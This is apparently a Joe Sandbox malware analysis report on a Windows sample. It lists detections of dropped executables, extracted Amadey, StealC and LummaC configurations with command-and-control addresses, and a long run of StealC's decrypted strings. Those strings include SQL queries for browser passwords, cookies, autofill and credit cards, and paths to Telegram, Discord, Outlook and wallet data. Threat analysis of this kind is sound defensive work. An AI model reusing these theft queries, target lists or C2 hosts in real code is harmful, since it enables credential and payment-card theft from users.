2024-10-31T03:04:45.134498+0100	2803305	3	Unknown Traffic	192.168.2.4	63986	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Avira: detection malicious, Label: HEUR/AGEN.1323674
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1323674
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000003.2081884268.0000000005560000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 35.2.num.exe.d00000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.7304.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "scriptyprefej.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 52%			Perma Link
Source: file.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 35.2.num.exe.d00000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 30
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 11
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 20
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 24
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetProcAddress
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: LoadLibraryA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: lstrcatA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: OpenEventA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CreateEventA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CloseHandle
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Sleep
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: VirtualFree
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetSystemInfo
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: VirtualAlloc
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: HeapAlloc
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetComputerNameA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: lstrcpyA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetProcessHeap
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetCurrentProcess
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: lstrlenA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ExitProcess
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetSystemTime
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: advapi32.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: gdi32.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: user32.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: crypt32.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ntdll.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetUserNameA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CreateDCA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetDeviceCaps
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ReleaseDC
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sscanf
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: VMwareVMware
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: HAL9TH
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: JohnDoe
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: DISPLAY
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: http://185.215.113.206
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: bksvnsj
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: /746f34465cf17784/
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: tale
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetFileAttributesA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GlobalLock
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: HeapFree
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetFileSize
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GlobalSize
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: IsWow64Process
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Process32Next
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetLocalTime
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: FreeLibrary
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetVolumeInformationA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Process32First
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetLocaleInfoA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetModuleFileNameA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: DeleteFileA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: FindNextFileA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: LocalFree
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: FindClose
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: LocalAlloc
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetFileSizeEx
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ReadFile
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SetFilePointer
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: WriteFile
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CreateFileA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: FindFirstFileA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CopyFileA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: VirtualProtect
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetLastError
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: lstrcpynA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: MultiByteToWideChar
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GlobalFree
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: WideCharToMultiByte
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GlobalAlloc
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: OpenProcess
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: TerminateProcess
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetCurrentProcessId
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: gdiplus.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ole32.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: bcrypt.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: wininet.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: shlwapi.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: shell32.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: psapi.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: rstrtmgr.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SelectObject
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: BitBlt
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: DeleteObject
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CreateCompatibleDC
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdiplusStartup
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdiplusShutdown
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdipDisposeImage
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GdipFree
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CoUninitialize
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CoInitialize
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CoCreateInstance
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: BCryptDecrypt
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: BCryptSetProperty
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: BCryptDestroyKey
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetWindowRect
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetDesktopWindow
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetDC
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CloseWindow
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: wsprintfA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CharToOemW
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: wsprintfW
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RegQueryValueExA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RegEnumKeyExA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RegOpenKeyExA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RegCloseKey
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RegEnumValueA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CryptUnprotectData
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SHGetFolderPathA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ShellExecuteExA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: InternetOpenUrlA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: InternetConnectA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: InternetCloseHandle
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: InternetOpenA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: HttpSendRequestA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: HttpOpenRequestA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: InternetReadFile
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: InternetCrackUrlA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: StrCmpCA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: StrStrA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: StrCmpCW
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: PathMatchSpecA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RmStartSession
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RmRegisterResources
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RmGetList
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: RmEndSession
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_open
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_step
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_column_text
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_finalize
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_close
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: sqlite3_column_blob
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: encrypted_key
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: PATH
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: NSS_Init
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: NSS_Shutdown
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: PK11_FreeSlot
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: PK11_Authenticate
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: C:\ProgramData\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: browser:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: profile:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: url:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: login:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: password:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Opera
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: OperaGX
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Network
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: cookies
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: .txt
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: TRUE
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: FALSE
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: autofill
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: history
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: cc
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: name:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: month:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: year:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: card:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Cookies
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Login Data
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Web Data
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: History
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: logins.json
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: formSubmitURL
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: usernameField
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: encryptedUsername
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: encryptedPassword
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: guid
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: cookies.sqlite
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: formhistory.sqlite
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: places.sqlite
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: plugins
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Local Extension Settings
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Sync Extension Settings
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: IndexedDB
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Opera Stable
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Opera GX Stable
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: CURRENT
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: chrome-extension_
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Local State
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: profiles.ini
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: chrome
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: opera
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: firefox
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: wallets
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ProductName
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: x32
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: x64
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: ProcessorNameString
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: DisplayName
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: DisplayVersion
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Network Info:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - IP: IP?
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Country: ISO?
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: System Summary:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - HWID:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - OS:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Architecture:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - UserName:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Computer Name:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Local Time:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - UTC:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Language:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Keyboards:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Laptop:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Running Path:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - CPU:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Threads:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Cores:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - RAM:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - Display Resolution:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: - GPU:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: User Agents:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Installed Apps:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: All Users:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Current User:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Process List:
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: system_info.txt
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: freebl3.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: mozglue.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: msvcp140.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: nss3.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: softokn3.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: vcruntime140.dll
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \Temp\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: .exe
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: runas
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: open
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: /c start
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %DESKTOP%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %APPDATA%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %USERPROFILE%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %DOCUMENTS%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: %RECENT%
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: *.lnk
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: files
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \discord\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: \Telegram Desktop\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: key_datas
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: map*
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Telegram
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Tox
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: *.tox
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: *.ini
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Password
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 00000001
Source: 35.2.num.exe.d00000.0.unpack	String decryptor: 00000002
